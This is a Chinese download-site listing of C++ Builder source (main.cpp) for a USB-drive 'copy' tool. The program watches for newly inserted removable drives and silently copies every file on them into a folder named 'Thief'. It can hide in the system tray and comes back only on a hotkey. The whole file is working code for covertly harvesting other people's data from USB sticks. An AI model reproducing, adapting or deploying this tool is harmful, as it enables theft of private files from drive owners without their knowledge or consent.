⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.cpp

📁 u盘的copy原代码
💻 CPP
字号:
//---------------------------------------------------------------------------

#include <vcl.h>
//#include <winshell.h>
#pragma hdrstop

#include "Main.h"
#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma link "trayicon"
#pragma resource "*.dfm"

TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
    strSaveDrt=NULL; //保存文件的路径
    strMobileDriver=NULL;// 闪盘的盘符
    strFlieFrom=NULL; // 闪盘的盘符+"\\*.*"----得到完整的源路径
    strStoreMobileDriver=NULL;//闪盘的盘符暂存的空间 ,用来比较是否有新的闪盘出现
    strFileTo=GetCurrentDir();//初始保存文件的路径为当前目录
    bCopy=false; //注意初始值
    bShowMessage=false; //复制完成提示标志
    bCopyResult=false;//复制文件的返回值
    HideFlag=false;//隐藏到系统托盘的标志
    Timer1->Enabled=false;
    

}
//---------------------------------------------------------------------------
void __fastcall TForm1::BitBtn1Click(TObject *Sender)
{
  strFileTo=Edit1->Text+"\\Thief";
  if( strFileTo==NULL)
    ShowMessage("请输入有效路径");      //ShowMessage
  if(!DirectoryExists(strFileTo))
    CreateDir(strFileTo);
   //Timer1->Enabled!=(Timer1->Enabled);
   if(BitBtn1->Caption=="开始")
     {
      BitBtn1->Caption="停止";
      Timer1->Enabled =true;
      }
   else
   {
      BitBtn1->Caption="开始";
       Timer1->Enabled =false;
   }
}
//---------------------------------------------------------------------------
AnsiString __fastcall  TForm1::GetMobileDrive(void)
{
   AnsiString strDriver=NULL;
   DWORD ld = GetLogicalDrives();
   for (int i = 1; i < 26; i++)   //从1起判断就会忽略软驱A:,从0 判断就不忽略软驱A:
      {
      if ((ld & (1 << i)) != 0)
         {
         AnsiString drv = AnsiString(char('A' + i)) + ":";
         if (GetDriveType(drv.c_str()) == DRIVE_REMOVABLE)  //判断其是否为可移动设备
          strDriver=drv;

         }
      }
      return strDriver;
}
//------------------------------------------------------------------------------
bool __fastcall  TForm1::CopyFile(bool Hint ,bool CopyEnable,bool Result,AnsiString SourcePath,AnsiString DestinationPath)
{
   if(CopyEnable)
  {
    SHFILEOPSTRUCT FileOP; //SHFILEOPSTRUCT声明
    //SHFILEOPSTRUCT成员赋值
    FileOP.hwnd = Handle;
    FileOP.fFlags = FOF_SILENT;
    FileOP.wFunc = FO_COPY;
    FileOP.pFrom = SourcePath.c_str();
    FileOP.pTo = DestinationPath.c_str();
    FileOP.fAnyOperationsAborted = false; ////?????????????????????????????????
    FileOP.hNameMappings = NULL;
    FileOP.lpszProgressTitle = NULL;
    //SHFILEOPSTRUCT成员赋值结束
    int msg = SHFileOperation(&FileOP);//执行复制操作

       if(msg==0)
        {
          CopyEnable=false;
          Result=true;
          if(Hint)
            ShowMessage("复制完成");

        }
       else
        {
          Result=false;
          if(Hint)
            ShowMessage("复制失败!!!");
        }
  }
  return  Result;

}
//--------------------------------------------------------------------------------

void __fastcall TForm1::BitBtn2Click(TObject *Sender)
{
  Application->Terminate();
}
//---------------------------------------------------------------------------

void __fastcall TForm1::BitBtn3Click(TObject *Sender)
{
  Form1->Hide();
  if(!HideFlag)
    TrayIcon1->Visible=true;
}
//---------------------------------------------------------------------------

void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
      strMobileDriver=GetMobileDrive();
     if((strMobileDriver!=NULL)&&(strStoreMobileDriver!=strMobileDriver)) //判断是否有新的闪盘盘符
          {
          bCopy=true;
          strFlieFrom=strMobileDriver+"\\*.*";
          }
      else
      {
         bCopy=false;
       }
      strStoreMobileDriver = strMobileDriver ;
      if ((CopyFile(bShowMessage,bCopy,bCopyResult,strFlieFrom, strFileTo))&&(CheckBox2->Checked)) //选择”复制完成自动结束“的判断
         Application->Terminate();



  }
//---------------------------------------------------------------------------


void __fastcall TForm1::BitBtn4Click(TObject *Sender)
{
 // new TAboutBox *AboutBox;
   Form1->Hide();
   AboutBox->ShowModal();
  
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormShow(TObject *Sender)
{
    
    Edit1->Text=GetCurrentDir();
}
//---------------------------------------------------------------------------

void __fastcall TForm1::CheckBox1Click(TObject *Sender)
{
    bShowMessage=!bShowMessage;
}
//---------------------------------------------------------------------------


void __fastcall TForm1::CheckBox3Click(TObject *Sender)
{
   HideFlag=CheckBox3->Checked;
}
//---------------------------------------------------------------------------

void __fastcall TForm1::TrayIcon1MouseDown(TObject *Sender,
      TMouseButton Button, TShiftState Shift, int X, int Y)
{
    if(Button==mbLeft)//系统托盘图标左肩响应
    {
    Form1->Show();
    TrayIcon1->Visible=false;
    }
}
//---------------------------------------------------------------------------

void __fastcall TForm1::N1Click(TObject *Sender)
{
   Form1->Show();
   TrayIcon1->Visible=false;     
}
//---------------------------------------------------------------------------

void __fastcall TForm1::N2Click(TObject *Sender)
{
   Application->Terminate();
}
//---------------------------------------------------------------------------

void __fastcall TForm1::N3Click(TObject *Sender)
{
   AboutBox->Show();          
}
//---------------------------------------------------------------------------
/*LRESULT TForm1::OnHotKey(WPARAM wParam,LPARAM lParam)
{
    if (wParam==0xB4EE||wParam==0xB4EF)
      Form1->Show();    //////显示窗口
     return 0;
} */
//-----------------------------------------------------------------------------
/*void TForm1::OnRegister(void)
{
        HWND m_hWnd;
        GetWindow(m_hWnd,NULL);
        // TODO: Add your control notification handler code here
	::RegisterHotKey(m_hWnd,0xB4EE,MOD_CONTROL|MOD_ALT,'w');
        ::RegisterHotKey(m_hWnd,0xB4EF,MOD_CONTROL|MOD_ALT,'W');
	//::RegisterHotKey(m_hWnd,0xB4EE,MOD_WIN,'F7');
} */
//------------------------------------------------------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)
{
   //unsigned long TrueWaveValueNum;
  //(RegisterHotKey(this->Handle,1000,MOD_CONTROL,VK_P)==0)
 if (RegisterHotKey(this->Handle,1000,MOD_CONTROL ,VK_F1)==0) //注册热键
  {
        ShowMessage("注册热键失败");
   }
   
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &Action)
{
    try
    {
    UnregisterHotKey(this->Handle,1000);
    }
    catch(...)
    {
    }
}
//---------------------------------------------------------------------------
 void __fastcall TForm1::OnHotKey(TMessage & Message) //热键处理函数
{
       // TForm::Dispatch(&Msg);
        if(Message.WParam ==1000)
        {
           Form1->Show();
           if(TrayIcon1->Visible==true)    //判断系统托盘里是否有本程序的图标,如果有在激活窗口时删除其
              TrayIcon1->Visible=false;
        }
 }

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -